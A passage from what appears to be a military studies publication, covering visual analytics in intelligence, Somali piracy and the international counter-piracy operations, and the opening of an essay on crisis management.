[18] Michael JOHN DE SMITH, Michael F. GOODCHILD, and Paul LONGLEY, *Geospatial Analysis: A Comprehensive Guide to Principles, Techniques and Software Tools* (Troubador Publishing Ltd, 2007), 33.

of other inferences related to time and duration. Geospatial and Temporal Analysis are often used in tandem to provide additional understanding by marrying the questions *when* and *where?*

One of the most common geospatial-temporal products is a *hotspot* or *heat map*. Hotspot maps allow the viewer to quickly identify areas where there are concentrations of specific events. An example of a hotspot map can be seen in Figure 2. This information can provide insight into when and where to apply limited resources in order to achieve the greatest desired effect.

Figure 4 – A hotspot map of emergency text massages in days following the earthquake in Haiti. The visualization of the geographical and temporal data allows the user to localize the disaster area.[19]

A contemporary tactical application of this method is IED analysis in Afghanistan. For example, a tactical commander tasked to provide security and prevent IED emplacement within an area of responsibility has a limited amount of personnel and time, and therefore has to decide where best to apply his force. A hotspot map would quickly identify the areas where IED events are the most concentrated, allowing him to focus his efforts in those locations, and assume a lesser presence in other, low-risk areas.

The temporal aspect of this analysis would inform him of *when* to concentrate his forces in those areas. For example, if 100% of the IED emplacement within a particular area occurs during the hours of darkness, there is little need to mass forces there during the hours of daylight, freeing-up those forces to focus on other areas during that period.[20] Similar approaches can be applied at

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[19] Palantir Technologies http://www.palantir.com/2010/04/haiti-effective-recovery-through-analysis/

[20] Jerry H. RATCLIFFE, *"The Hotspot Matrix: A Framework for the Spatio-Temporal Targeting of Crime Reduction*," Police Practice and Research 5, no. 1 (2004): 5–23.

the operational and strategic levels as well, presenting commanders with a clearer depiction of their areas and allowing them to quickly identify when and where to apply limited resources.

A Powerful Tool, But Not a Silver Bullet

It should be noted that Visual Analytics is not a "silver bullet" for conflict in the Information Age. It has a number of limitations, and is surrounded by a number of misconceptions that contribute to the notion that this visually appealing new methodology has all the answers. One particular issue that Visual Analytics has to contend with is the issue of scalability.

As Thomas observes in *Illuminating the Path*, the requirements and nature of Visual Analytics will always outpace the capacity that the contemporary technology can provide.[21] Even if technology could keep pace, the fact stands that human capacity to process information will remain relatively constant.[22] This would be considered as an issue of human scalability—if data increases, but human capacity does not; then more humans have to collaborate in order to handle the amount of data. Thomas identifies five specific scalability categories that present their own unique challenges: information scalability, visual scalability, display scalability, human scalability, and software scalability.[23] Together these issues of scalability, at least in part, produce a situation commonly referred to as *information glut*—the fact that "we are able to access far more information than we, as humans, can possibly process."[24]

Other limitations include the simple fact that the output will only be as good as the information that was inputted into the process. Despite Visual Analytics' empirical grounding, like all other forms of intelligence analysis, the analysis itself and the thought behind the resulting recommendations remain very much an art not a science.

Finally, Visual Analytics – by definition – requires human interaction, it therefore follows that it is completely susceptible to human error and manipulation. Just like statistics can be skewed to paint a certain picture to meet a certain agenda, so too can Visual Analytics products. Therefore, the consumer of these products needs to be well-informed of the methodologies in order to remain objective and critical when meet with them.

Conclusion

The explosion of technological advancement over the past several decades has changed the world we live in—and the threats that we face. Events such as the Madrid Bombings in 2004, the Boston Marathon Bombing in 2013, and the Westgate Mall attack in Kenya the same year, are all examples of attacks, whose clues were hidden in an expansive sea of information.

Additionally, technology is changing the face and form of social movements. As the Arab Spring and the Revolution in Egypt demonstrated, social media platforms can be used to organize collective action in ways not previously experienced. Analyzing and understanding these rapid

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[21] THOMAS and COOK, Illuminating the Path, 25.
[22] THOMAS and COOK, Illuminating the Path, 26.
[23] THOMAS and COOK, Illuminating the Path, 26.
[24] THOMAS and COOK, Illuminating the Path, 26.

and efficient dynamics will require the continual advancement of intelligence analysis methodologies and technologies. To that end, Visual Analytics presents a number of possibilities.

As a multi-disciplinary field that is empirically grounded and leverages the innate human ability to process massive amounts of data visually, Visual Analytics offers a chance to produce both timely and detailed intelligence for those operating in today's dynamic environment. It is important to note that Visual Analytics is not the solitary solution to assessing contemporary threats. Like all other methods and processes, Visual Analytics is subject to certain limitations and human error. However, in a world full of uncertainty, one thing is for sure – intelligence agencies today cannot afford to be without Visual Analytics in their arsenal.

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LT. BALÁZS PÜSPÖK

SOMALIA: MODERN PIRACY IN THE 21ST CENTURY

Abstract

Piracy and pirate activities are continuously extending and undermining international humanitarian efforts in Africa and the security of one of the busiest and most significant maritime routes in the world – the gateway in and out of the Suez Canal.

With the majority of the world's trade travelling by sea, the strongest maritime powers have already sent their navies to the shores of East Africa. Numerous law enforcement missions have been deployed to the Gulf of Aden, namely: the European Union Naval Force Somalia (EUNAVFOR) Operation ATALANTA, the NATO Operation Ocean Shield, and Combined Task Force (CTF) 151 under Combined Maritime Forces (CMF) command. Moreover, various countries are independently contributing to the international counter-piracy efforts in the Horn of Africa.

This work endeavours to represent the phenomenon of modern Somali pirate activities, it defines the Internationally Recommended Transit Corridor and clarifies its purpose, and examines whether or not political and military solutions will be able to solve the problem of modern-day piracy.

Keywords: counter-piracy, Gulf of Aden, Horn of Africa, High Risk Area, Internationally Recommended Transit Corridor, piracy, Somalia.

Modern Piracy

The combat against piracy was an everlasting concern of merchant nations, which – in very early days – led to the adoption of the first extraterritorial law and a universal effort against the pirates. These serious measures made piracy almost disappear until 1990; however, piracy staged a comeback: it reached a peak because of the pirate activities in the South China Sea and in the Malacca Strait between 1999 and 2003. Owing to the efforts of the coastal states, piracy almost vanished in the Straits of Malacca and Singapore and also decreased in the South China Sea.[1]

According to Marley, there are seven recent trends that have abetted the revival of piracy today:

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[1] OULD-ABDALLAH, A, *Piracy off the Somali Coast* (21, November 2008) Retrieved from http://www.asil.org/files/SomaliaPiracyIntlExpertsreportconsolidated1.pdf on 22/03/2012, p. 13.

1. the virtual disappearance of the United States and Western merchant fleets,
2. the decreasing commercial traffic into Asian waters,
3. the launching of larger ships, manned by much smaller crew,
4. the expansion of many national jurisdictions into neighbouring territorial waters,
5. the widespread resort to "flags of convenience", by global fishing companies,
6. the circulation of potent military light arms in civilian hands,
7. continuing hesitation over pirate trials under international law.[2]

Across the globe, pirate-infested areas share a number of common features: advantageous geography, legal and jurisdictional opportunity, conflict and disorder, inadequate security system, permissive political environments, cultural acceptability and the opportunity for reward. All of these factors act and react on each other and at any one time they are all usually present to some degree.[3]

The Somali Piracy

Somali piracy differs from other pirate infected regions, because pirates attack the ship not only to plunder the belongings and the equipments onboard, but also to hijack it with its crew for ransom. Accordingly, any successful acts of piracy will inevitably result in a protracted period of captivity for the crew onboard. Piracy has become a lucrative business in the region, thus the greatest motivation is unequivocally financial. It generates huge profits for those taking part, and the amount of money gained through piracy is far in excess of what an ordinary Somali citizen could expect to earn in his lifetime. Piracy is considered as a business by Somali pirates, they recognize that unnecessary harm or injury to the crew is counter-productive and may harm their negotiations or the amount of ransom received.[4]

The International Maritime Bureau (IMB) established its Piracy Reporting Centre in 1992, because shipmasters were afraid to report the incidents they had, as local law enforcement agencies boarded the ships and they were delayed for a very long time. Unfortunately, the reluctance to report piracy incidents still remains high.[5]

The following IMB Piracy & Armed Robbery Map[6] demonstrates all the piracy and armed robbery incidents in the vicinity of Somalia reported to the IMB Piracy Reporting Centre during 2011:

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[2] MARLEY, D. F. (2010). Modern Piracy. California: ABC-CLIO, p. 98.

[3] Murphy, M. N. (2009). Small Boats, Weak States, Dirty Money: Piracy and Maritime Terrorism in the Modern World. Hurst: Columbia University Press, p. 28.

[4] Surviving Piracy, Retrieved from http://www.marad.dot.gov/documents/EUNAVFOR-Surviving-Piracy_Seafarers_Leaflet_v2.pdf on 12/11/ 2011.

[5] Piracy: 8th Report of Session 2005-06. (2006), Norwich: The Stationery Office, p. 6.

[6] IMB Piracy & Armed Robbery Map 2011, Retrieved from http://www.icc-ccs.org/home/piracy-reporting-centre/imb-live-piracy-map-2010 on 02/29/2012.

Y = Actual Attack Y = Attempted Attack Y = Suspicious vessel

This map clearly indicates that Somali based pirate attacks are taking place both close to land and at extreme range from the Somali coast. The attacks are affecting all shipping in the region and they have taken place throughout the Gulf of Aden (GOA), Arabian Sea, and Indian Ocean.

The use of pirate mother ships can be considered as a unique Somali pirate technique. It enables the pirates to operate at extreme distances from the coast of Somalia, carrying attack craft (small skiffs, ladders, grappling hooks) and weapons (usually small firearms, RPGs, ammunition).The definition of pirate mother ship[7]: merchant vessels have been taken by the pirates and usually have their own crew onboard as hostages. Mother ships are not only used to carry pirates, but also to draw attack skiffs, carry weapons, stores and fuel to enable pirates to operate over a much larger area and this way they are significantly less affected by the bad weather conditions. Mother ships are often towing numerous attack skiffs behind. If the size of the pirate mother ship allows it, skiffs are being carried onboard and camouflaged to reduce chances of interdiction by naval or military forces.

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[7] BMP 4: Best Management Practices for Protection against Somalia Based Piracy. (2011). Livingston, Witherby Seamanship International Ltd, pp. 3, 9-10.

The Roots of Piracy in Somalia

Through my investigation, I found two possible theories how piracy emerged in Somalia. The first one could be described as a defensive act: it explains that some factors allowed the over fishing and polluting of Somali waters, thus local fishermen began to defend their fishing grounds. The other reason is deeply rooted in a number of socio-economic factors and poverty that drive people to commit these criminal acts.

Research by Ould-Abdallah revealed that before 1990, piracy had not been a major issue off the coast of Somalia, but the increasing hunger, civil insecurity of the coastal population and predominantly poverty led to the acts of sea robbery.[8] Since the fall of the Siad Barre dictatorship in 1991, Somalia has lacked a national government, and rival groups immediately plunged the country into civil war in failed attempts to install themselves as the new national government and to establish a functioning central government. The humanitarian and military intervention of the United States and the United Nations from 1993 through 1995 failed to restore peace.[9]

Piracy acts halted temporarily in 2005 when the Union of the Islamic Courts (UIC) claimed power in Somalia. Under Sharia law both criminality and piracy reduced, however, in late 2006 the UIC lost power in the central and southern parts of Somalia and consequently crime and piracy have increased. Piracy became more organized and displaced Somalis with no previous maritime background became involved. Since 2008 there has been a continuous increase in the level of piracy incidents reported in the Gulf of Aden and Indian Ocean area. By the end of 2008 there were 140 reported attacks, of which 39 were successful hijackings resulting in vessels being taken to anchorages around the Horn of Africa. By mid 2009 there have been about 150 reported incidents, which have resulted in 32 hijackings. The pirate anchorages have been extended to sites along the north and north east coasts of Somalia. Acts of piracy yield roughly 30 million USD a year and due to the vast level of profits, the numbers of attacks are supposed to increase in the foreseeable future. It is important to note that central governmental functions have unquestionably collapsed in Somalia; it became a "failed state" since 1991.[10]

Cronjé represents the other theory: the lack of law and the unregulated waters, allowed the over fishing of Somali waters by international fishing fleets and the toxic waste dumping along the Somali coast. Naturally, this impacted negatively on the Somali fishermen who tried to highlight their cause by boarding vessels and claiming taxes from the unfamiliar fishing companies. These actions evolved after a few years into hijacking vessels, instead of collecting taxes, and this practice spread among ordinary Somali fishermen as it yields more money.[11]

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[8] OULD-ABDALLAH, A, *Piracy off the Somali Coast* (21, November 2008)
Retrieved from http://www.asil.org/files/SomaliaPiracyIntlExpertsreportconsolidated1.pdf on 22/03/2012, p. 14.
[9] POWELL, B., Ford, R., & Nowrasteh, A. (30, November 2006), *Somalia After State Collapse: Chaos or Improvement?*
Retrieved from http://www.observatori.org/paises/pais_74/documentos/64_somalia.pdf on 22/03/2012, p. 1.
[10] Somali Pirates, Retrieved from http://www.mschoa.orgSecureMI_temp/Pages/Piracy.aspx on 14/07/2011.
[11] CRONJÉ, D. (2010), *The Pirates of Somalia Maritime bandits or warlords of the High Seas?*
Retrieved from http://scholar.sun.ac.za/handle/10019.1/4112v on 14/07/2011, pp. 50-52.

The Supervision of the Internationally Recommended Transit Corridor (IRTC) – a Collective Task

The representation of the Internationally Recommended Transit Corridor is absolutely vital in order to understand how merchant traffic is organized and protected by the naval forces through the GOA, and to realize how piracy spread through the Indian Ocean and Arabian Sea, thus creating the High Risk Area.

The IRTC is the recommended shipping lane through the Gulf of Aden; it has been established to:

- Provide a better protection with the participating warships for merchant vessels transiting through it;
- Establish straight passage through the Gulf of Aden with a separated eastbound and westbound traffic;
- Allow maritime forces to conduct deterrent operations against the pirates.

To overpass the Gulf of Aden, vessels can join Group Transits or they can participate in National Convoys by using the IRTC. In the case of National Convoys, always an assigned warship escorts the merchant vessels according to a timetable; the crossing speed is steadily 12 knots. Those ships that are not able to keep the velocity or the given time is not suitable for them, have the opportunity to form Group Transits. This way, the number of vessels can deter the pirates to approach the seafarers.

Various international organisations patrol the IRTC in the Somali Basin, including the European Union Naval Force Somalia Operation ATALANTA, NATO Operation Ocean Shield, Combined Task Force (CTF) 151 under Combined Maritime Forces (CMF) command; in addition, several countries independently deploy their naval ships. Maritime forces are intended to supervise the IRTC both inside and outside and to provide a measure of deterrence through their presence. However, due to the vast area of the GOA and the open waters east of Somalia, and given the huge amount of shipping in the region, the safety of all vessels cannot be guaranteed. Shipmasters are therefore strongly recommended to continue to employ all available defensive measures in order to make their vessels less vulnerable to attack when operating in the GOA.

It is still possible for every merchant vessel to pass through independently, but shipmasters should adhere to these guidelines, otherwise warships will be unable to provide help when a pirate attack is imminent.

The IRTC − demonstrated below − consists of two shipping lanes between the coasts of Yemen and Somalia:

Figure 1: The Internationally Recommended Transit Corridor

According to the illustration above, the IRTC consists of two segregated transit lanes, an eastbound and a westbound shipping path. It keeps the shipping lanes clear of the coasts, in order to make it more difficult for the pirates to use the Yemeni and Somali coasts to support their operations.

The *Counter Piracy Advice and Checklist for Masters*[12] represents the structure of the IRTC: the **eastbound** transit lane begins at 045 East between 11 48 and 11 53 North and it is orientated along a straight-line course of 072 degrees and terminates at 053 degrees East between 14 18 and 14 23 North. **Westbound** transit lane begins at 053 degrees 14 25 and 14 30 North. The lane takes place along a course of 252 degrees and terminates at 045 degrees East between 11 55 and 12 00 North. Both of these lanes are 5 nm wide and they are separated by a 2 nm buffer zone. The Transit Corridor is not marked or defined by visual navigational means, nor is it designed to be a dedicated traffic separation scheme. For warship patrols to be operative, vessels transiting through the GOA are strongly recommended to adhere to these guidelines.

Pirate groups are continuously loitering in this known and widely used sailing path waiting for a vulnerable target. Once they have seen a favourable vessel, they will approach it in order to estimate whether the build-up, speed and course of the ship will allow them to board. If the vessel is unsuitable they will continue to loiter in the vicinity waiting for another vessel to attack.

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[12] Counter Piracy Advice and Checklist for Masters, (n.d.) p. 5.

The High Risk Area (HRA)

As piracy in the Gulf of Aden became increasingly common, merchant vessels began to steer well clear of the Somali coast, and this has required the Somali pirates to operate further out at sea, and they have developed a "mother ship" strategy of seizing medium-size fishing trawlers, holding their crew captive, and using the ship to wait for larger, more lucrative vessels to pass.[13]

On the other hand, counter piracy operations are suffering from the so-called "balloon effect", whereby intensive operations in one area drive piracy to another that is less protected. The same situation happened in the Gulf of Aden, as naval forces protect the Internationally Recommended Transit Corridor, piracy spread throughout the Indian Ocean and pirates still remain unpredictably able to attack and hijack ships throughout the whole HRA, thus a high state of readiness and vigilance should be maintained when passing through.

To represent the HRA, it is highlighted in this "Anti-Piracy Planning Chart"[14]:

Figure 2: The High Risk Area

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[13] GILPIN, R. (2009, June 22), *Counting the Costs of Somali Piracy*,

Retrieved from: www.usip.org/files/resources/1_0.pdf, pp. 8-9 on 22/03/2012.

[14] Counter Piracy Guidance Update – Inside Territorial Waters, Retrieved from http://www.shipping.nato.int/Pages/default.aspx on 10/03/2012.

The High Risk Area defines itself by where the pirate activities and attacks have taken place: this is an area bounded by Suez and the Strait of Hormuz to the North, 10°S and 78°E, and attacks to the South have extended into the Mozambique Channel. Pirate attacks were carried out at most extremities of the HRA.[15]

There remains the possibility that piracy attacks will take place even further to the East or South of the HRA. A high state of readiness and vigilance should be maintained even over the limits. Before transiting the High Risk Area, Ship Operators and Masters are encouraged to carry out a risk assessment to assess the likelihood and consequences of piracy attacks to the vessel, based on the latest available information, provided by the naval forces.[16]

The Combined Maritime Forces (CMF) in Counter-Piracy Operations

In spite of the fact that there have always been worldwide concerns about the emerging menace of Somali piracy, it never managed to attract the United States' political and military attention.

As it is described by Murphy, it was the attempted hijack of the *Seabourn Spirit*, a Bahamian-flagged, U.S.-operated ship that made the cardinal change. The cruise ship was attacked about 100 nautical miles off the coast in November 2005 and chased by a group of pirates firing the usual combination of automatic rifles and rocket-propelled grenades. She managed to escape by increasing her speed, luckily without any considerable damage. By committing this serious mistake, he adds, the pirates gave the IMO the opportunity to raise the issue of modern piracy with the UN Security Council in the expectation of obtaining a UN Security Council Resolution. While at that point the UNSC declined to become involved. This attack stimulated the U.S. government to take a more serious view regarding this issue and the U.S. Navy to adopt a more aggressive posture with the support of its partners in Combined Task Force CTF 150.[17]

The United States' new approach sharply resulted in two interceptions:

− The first took place in January 2006, when the USS Winston Churchill managed to capture a notorious pirate mother ship, the Al Bisarat, which had been used to attack a bulk carrier, the Delta Ranger about 200 nautical miles off the coast. The U.S. government managed to persuade Kenya to accept jurisdiction and the ten pirates involved were finally taken to Mombassa for trial.

− A second incident followed in March 2006: two U.S. Navy destroyers, the USS Gonzalez and the USS Cape St. George intercepted a Somali ship towing some skiffs about 25 nm off the coast of Somalia. The ship was ordered to stop because of possible pirate activity. The suspected pirates on board were seen to be armed with different weapons, and when they reportedly fired on the U.S. ships, the fire was

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[15]   BMP 4 : Best Management Practices for Protection against Somalia Based Piracy (2011), Livingston: Witherby Seamanship International Ltd, p. 4.

[16] BMP 3: Best Management Practices to Deter Piracy off the coast of Somalia and in the Arabian Sea Area (2010), Livingston: Witherby Seamanship International Ltd, p. 3.

[17] MURPHY, M. N. (2011). *Somalia: The New Barbary?* London: C. Hurst & Co. (Publishers) Ltd, p. 37.

returned leaving one pirate dead and their vessel burning. The survivors, as was often the case, said to be protecting fishermen.[18]

The results show that the first American warships were sent from CTF-150 which is one of the Combined Maritime Forces' principal task forces. CTF150 had been established as part of Operation Enduring Freedom to track terrorist networks in the Middle East. It only became involved in counter-piracy operations after the pirates attempted to attack the Seabourn Spirit, which gave birth to the conception of creating another special task force, specialized chiefly in counter-piracy missions in the Somali Basin.

Combined Maritime Forces (CMF) is commanded by a U.S. Navy Vice Admiral and located at U.S. Naval Support Activity, Bahrain. Combined Maritime Forces is a multi-national naval partnership, which ensures the security and stability across approximately 2.5 million square miles of international waters in the Middle East, encompassing some of the world's most important shipping lanes, including the Internationally Recommended Transit Corridor. The 25 nations that form Combined Maritime Forces are not bound by either political or military mandate and the participation is purely voluntary. In addition, none of the nations is asked to carry out any duty that it is unwilling to conduct. The focus is on encouraging regional cooperation, defeating terrorism, establishing a safe maritime environment and preventing piracy. CMF works with several regional and other partners in order to improve overall security and stability; it counters violent extremism and terrorist networks in maritime areas of responsibility; helps reinforcing local nations' maritime capabilities and, if requested, assists in humanitarian and environmental crises. There are three principle task forces under the CMF's command:

 – CTF-150, dealing with maritime security and counter-terrorism,
 – CTF-152, its primary duty is the Arabian Gulf security and cooperation,
 – CTF-151, involved in counter piracy missions.[19]

According to the original mandate, which had sent coalition warships into the Indian Ocean region as part of the United States-led antiterrorist offensive, the Operation Enduring Freedom, these warships were sent to perform maritime security duties, which included the deterrence of destabilizing activities, like weapons-trafficking or drug-smuggling – yet did not include hunting pirates. On 08 January, 2009 Vice Admiral William E. Gortney, commander of the U. S. Fifth Fleet and the U.S. Naval Forces Central Command, announced the creation of a new coalition detachment: the CTF-151. The new Task Force had been split off the already existing CTF-150 and had been especially set up to conduct counter-piracy operations. Some navies within the Combined Task Force 150 coalition did not have the authority to conduct counter-piracy operations. The establishment of CTF-151 allowed these nations to operate under the auspices of CTF-150, while allowing other nations to join CTF-151 to eventually bring to justice the maritime criminals involved in piracy acts. The first U.S. Navy warships assigned to this recently created CTF-151 are the first naval assets actually tasked with conducting antipiracy sweeps off the Horn of Africa region. On 12 January 2009,

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[18] MURPHY, M. N. (2011). *Somalia: The New Barbary?* London: C. Hurst & Co. (Publishers) Ltd, p. 38.

[19] Combined Maritime Forces, Retrieved from http://www.combinedmaritimeforces.com/about/ on 14/07/2011.

Combined Task Force 151 was further cleared to operate under the UN Security Consul Resolution mandate, although still under United States command.[20]

The NATO in Counter-Piracy Operations

In order to enhance the safety of commercial maritime routes and international navigation in the Horn of Africa area, the North Atlantic Council has agreed that NATO will contribute to international community efforts to fight against piracy.

The NATO's key areas[21]:
- To defend merchant vessels against pirate attacks;
- To establish immediate coordination and cooperation with non-NATO organisations patrolling in the operational area;
- To mount a deterrent naval presence and to conduct surveillance;
- To provide naval escort to humanitarian aid supplies.

Operation Allied Provider was established in October 2008, after the North Atlantic Council agreed to the UN Secretary General's request for assistance. The NATO task force provided close protection for World Food Program (WFP) food aid ships and conducted deterrence patrols in the area most susceptible to criminal acts against merchant shipping During the operation, NATO deployed one of its immediate reaction groups, namely the Standing NATO Maritime Group 2 (SNMG) unit to the Somali coast. This was a rapidly executed and short duration mission, however, it highlighted the limited scope of the operation and the need for NATO to consider widening its contribution, thus the Operation Allied Provider has been replaced by its successor: the Operation Allied Protector.[22]

In February 2009 at the defence ministers' meeting in Krakow, NATO decided to extend the previous mission, but now for an unspecified period of time. The Operation Allied Protector succeeded its predecessor, the Operation Allied Provider and fulfilled the tasks previously undertaken by it. Continued to contribute to the safety of commercial maritime routes and also conducted surveillance. The Standing NATO Maritime Group 1, another member of the NATO's four immediate reaction maritime forces replaced the SNMG2 in this mission with ships from U.S., U.K., Greece, Italy and Turkey.[23]

The Operation Ocean Shield, which was commenced in 17 August 2009, and builds on the NATO's previous counter-piracy missions. The aim of the operation is the same that characterizes the efforts of the other nations and international organisations: to defeat piracy. Operation Ocean Shield is based on 4 lines of operation:

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[20] MARLEY, D. F. (2010). *Modern Piracy. California*: ABC-CLIO, p. 98.

[21] Operation Allied Protector, Retrieved from http://www.manp.nato.int/operations/allied_provider/index.htm on 14/07/2011

[22] LOWE, M. (2010). *Maritime Security Special*, Retrieved from www.em-defence.com/PDFs/Maritime_Security_Special.pdf, p. 5.

[23] MURPHY, M. N. (2011). *Somalia: The New Barbary?* London: C. Hurst & Co. (Publishers) Ltd, p. 131.

– Maritime Community: this line of mission is based upon concept that international organizations must play a critical role in reducing the incidence of piracy. In spite of the fact that currently many companies are already sending and publishing precautions and advices, much more should be done.

– Enhanced Disruption: the term "enhanced" refers to the previous NATO missions which were more limited in scope. The Ocean Shield is in the early stages of this task and it is focusing on identifying the comprehensive requirements of regional states. The aim is to create a development plan for each designated state together and regional states will be able to develop their own independent counter-piracy capability.

– Capacity Building: the aim is to develop the capacity of regional states to conduct effective counter-piracy operations.

– Integration: Ocean Shield forces work towards an overall integrated approach to have a more efficient and effective employment of the international forces conducting counter piracy operations within the region. The aim of the integration is to build on existing coordination and corresponding activities and to encourage international and regional forces to work together more closely.[24]

The EU in Counter-Piracy Operations

In December 2008, the EU launched its first naval mission: the European Union Naval Force (EU NAVFOR) Somalia – Operation Atalanta, in response to the rising levels of piracy and armed robbery off the Horn of Africa and in the Western Indian Ocean.

On 23 March 2012, the Council of the EU extended the operation until December 2014. At the same time, the Council also extended the Area of Operation to include Somali coastal territory and internal waters.

EU NAVFOR operates in an Area of Operation covering the Southern Red Sea, the Gulf of Aden and a large part of the Indian Ocean, including the Seychelles. The Area of Operation also includes the Somali coastal territory as well as its territorial and internal waters. This represents an area of about 2,000,000 square nautical miles (approximately 3,700,000 square kilometers). This is an area 1.5 times the size of mainland Europe. Data collated since 2008 demonstrate that EU NAVFOR, in co-operation with her counter-piracy partners, has become highly effective in preventing attacks before they happen.[25]

The Maritime Security Centre – Horn of Africa (MSCHOA) situated in the OHQ is an initiative established by EU NAVFOR with close co-operation with the industry. The MSCHOA provides 24-hour manned monitoring of vessels transiting through the Gulf of Aden, whilst the provision of an interactive website enables the Centre to communicate the latest anti-piracy guidance to the industry, and for the shipping companies and operators to register their vessels' movements through the region. Owners and operators who have vessels

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[24] LOWE,M. (2010). *Maritime Security Special*, Retrieved from www.em-defence.com/PDFs/Maritime_Security_Special.pdf, pp. 5, 6, 7).

[25] Retrieved from http://eunavfor.eu/mission/ on 09/09/2014

transiting the region are strongly encouraged to register their movements with MSCHOA to improve their security and reduce the risk of attacks or capture.[26]

The precautionary acts to Prevent Piracy in the HRA

Merchant nations are laying special emphasis on prevention as well. The fight against the pirates does not only take place on the high seas, several international organisations have been established in order to prevent the pirate attacks. I collected some of the most important preventive measures.

The MARLO acts as a point of contact for merchant vessels and its mission is to facilitate the exchange of information between the United States Navy, Combined Maritime Forces and the commercial maritime community in the United States Central Command's Area of Responsibility. The office was originally established in 1987 during the Iraq-Iran Tanker Wars, in order to promote cooperation between the commercial maritime community and the U.S. Navy. Nowadays it operates as a conduit for information focused on the security and safety of shipping. Currently, the Maritime Liaison Office serves as an emergency point of contact for mariners in distress and also disseminates transit guidance. [27]

The United Kingdom Maritime Trade Office (UKMTO), described in *BMP4* (2011) has the same function, however, it acts as the primary point of contact for merchant ships and liaison with military forces in the Horn of Africa region. The day-to-day interface between ship owners or masters and Naval forces is provided by UKMTO, which keeps contacts with merchant ships and liaises directly with MSCHOA at Northwood and with naval commanders at sea and ashore. The UKMTO office is in Dubai and also administers the Voluntary Reporting Scheme, under which merchant vessels are highly recommended to send regular reports with their position/course/ speed and "Estimated Time of Arrival" at their next port while transiting within the High Risk Area. The contact between UKMTO and the USA is that the office subsequently tracks vessels and the positional information is passed not only to EU, but also to CMF headquarters.[28]

Conclusion

We can affirm that throughout the history, piracy has been a crime with a firm political dimension; and early in the 21st century, the piracy that occurred off Somalia proved to be no exception. It appears that Somali pirates have represented the greatest challenge to maritime security since the end of World War II.

Several warships and destroyers are contributing to the safety of commercial maritime routes and conducting surveillance in the Indian Ocean: they are permanently patrolling the Gulf of Aden to ensure the safety and security of merchant ships sailing through the

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[26] Retrieved from http://eunavfor.eu/about-us/mschoa/ on 09/09/2014

[27] Geiss, R. & Petrig, A. (2011) *Piracy and Armed Robbery at Sea.* New York: Oxford University Press, p. 29.

[28] BMP 4 : Best Management Practices for Protection against Somalia Based Piracy. (2011). Livingston: Witherby Seamanship International Ltd. pp. 11, 85.

Internationally Recommended Transit Corridor, while they are conducting antipiracy missions across the whole High Risk Area to reduce the number of attacks and to provide help when an attack is imminent.

Throughout my work I illuminated that duties and responsibilities must be shared with other maritime communities in order to achieve successful results.

Although the significant increase in the presence of naval deployments in the Gulf of Aden − concentrated on the Internationally Recommended Transit Corridor − has significantly reduced the number of successful pirate attacks, pirates are exploring more and more sophisticated methods to hijack ships. With their deterring presence, naval forces have swept out the bulk of the pirates, thus their activities have been forced from the Somali Basin out into the Arabian Sea and Indian Ocean territory, creating the tremendously giant territory of the High Risk Area.

From my point of view, the provision of livelihoods and effective governance, as well as the establishment of security institutions and the vanishing of root causes could offer a possible solution. Having the same opinion, some countries are planning to send land forces to Somalia, with the purpose of nation building, because political and military solutions have not been able to solve the problem so far.

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18. http://www.manp.nato.int/operations/allied_provider/web_copy_op_allied_ protector.pdf

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23. Surviving Piracy. (n.d). Retrieved November 12, 2011, from http://www.marad.dot.gov/documents/EUNAVFOR_Surviving_Piracy_Seafarers_Leaflet_v2.pdf

COL. ISTVÁN RESPERGER, PhD

NATIONAL AND INTERNATIONAL CRISIS MANAGEMENT, THE TRIUMPH METHOD

Abstract

National and international crises are influencing one's sense of security. Therefore, the adequate managing of different types of crisis is essential. For choosing the correct methodology, an analysis of the own capabilities (force, power, national interest) is inevitable. The so-called "DIADAL (DDADAC Diagnosis, Direction, Alternatives, Decision, Application, Closing)"- methodology is demonstrating one of the possible solutions for the general reader.

Keywords: challenge, risk, threat, crisis, crisis management

„*…I do not take communion with the frivolous hope that some coincidence will save us…*"

(Carl von Clausewitz)[1]

For individuals, smaller or greater human communities and social organizations – due to their direct or indirect involvement in crisis situations – researching the crises, understanding its effects and drawing appropriate conclusions are vital. Efforts made to evade hazards threatening human safety have long past in history. Every crisis phenomenon, which affects any community, foreshadows the possibility of damaging the consensual norms formed in the given community. This could harm the common values and/or interest of the community, which also endangers the generally defined sense of security.

The disintegration of the military-power based bipolar world caused significant changes. These include the surfacing of conflicts suppressed – mainly by military force – during the years of the brittle Cold War. The menacing peril of a nuclear war had disappeared, but the world has not become safer or more integrated. Ideological, religious, ethnic, national, and regional disputes had arisen, mainly caused by the lack of stability. The newly emerged crises endangered many regions' safety and induced the international organizations to prevent conflicts, handle emerging hotbeds of crises, restore and keep peace.

Actions related to crisis management – due to the characteristics and complexity of conflicts – have to explore and determine the causes and the sources of crises, as well as to restore complete peace. In the changed security environment, the recent crises – along with the geopolitical and geostrategic challenges – have come to the surface with a fulminant effect

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[1] PERJÉS G.: Clausewitz p. 45.

and have proved to be rather lingering. Therefore, the methods of prevention and crisis management had to be significantly changed to preserve their effectiveness. To be able to manage the crises – affecting the military dimension of security – new methods had to be elaborated, not just at federal but national level as well. Besides the former unequivocal military threat, the countries must prepare themselves for the tasks to face the new threats deriving from migration, drugs, national, religious and ethnic problems; from terrorist, information, financial and homeland security challenges; and to elaborate counter-actions and plans and implement them. The Revolution of Military Affairs, (RMA)[2], the effort to achieve information superiority, the theory of 'war without death', the asymmetric warfare demanded from the new armed forces to precisely interpret, plan and execute the new tasks.

1. Security Challenges, risks and threats until 2030

1.1. Theoretical basics

The chapter is based on the 2010's analyses of the likely security and national security risks and threats until 2030; furthermore it formulates proposals on solving these problems. I analyze the conditions influencing security and national security of our country in a particular subchapter.

The security challenges, risks and threats „are situations and conditions that carry danger and threat within them which usually have negative effects on a given country's overall security, or its components and weaken the inner and outer stability".[3] The general definition of risk: An action resulting in the possibility of danger or loss." [4] Security risk – due to the general definition – can be interpreted in respect of security dimensions. Threat is the concrete form of danger associated with the intention to act. Its purpose is to influence the target country's behaviour in order to force out the threatening side's interests. We can mainly speak of threat if there is a possibility of extorting or solving forcibly the conflicts of interests. When judging the military threat, we have to take into consideration the political intentions of the threatening state and have to evaluate them in the context of its military capabilities. So we have to analyse the state's intentions and military capabilities, reviewing those possible hazards that could affect our country.

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[2] The main stations – by experts – of revolution taking place in military:
  1. The cooperation of German branches during the II. WW and in the time of the polish and west-european campaign;
  2. The activity of RAF during the Battle of Britain
  3. The activity of German submarines;
  4. The appeairition and use of American nuclear weapons;
  5. The mass use of reconnaisance, electronic war-technical tools in the Gulf War.
